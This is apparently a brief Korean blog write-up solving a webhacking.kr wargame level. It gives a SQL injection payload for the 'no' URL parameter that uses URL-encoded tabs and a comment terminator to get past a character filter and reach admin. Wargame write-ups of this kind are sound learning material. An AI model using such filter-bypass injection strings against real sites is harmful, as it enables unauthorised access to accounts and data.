728x90

필터링 문자들을 피해서 admin에 접근.

주소창에 no의 값으로 100)%09or%09no%09like%092--%09 를 전달한다.

-- 대신 ;%00는 해도된다.

%09(Tab)대신 %0a(\n), /**/(주석)는 왜 안되는진 모르겠다. 

728x90

'webhacking.kr' 카테고리의 다른 글

webhacking 29(SQL Injection)  (0) 2022.12.19
webhacking 28(설정 파일 업로드)  (0) 2022.12.19
webhacking 26(URL Encoding)  (0) 2022.12.18
webhacking 25(LFI)  (0) 2022.12.17
webhacking 24(PHP)  (0) 2022.12.17

+ Recent posts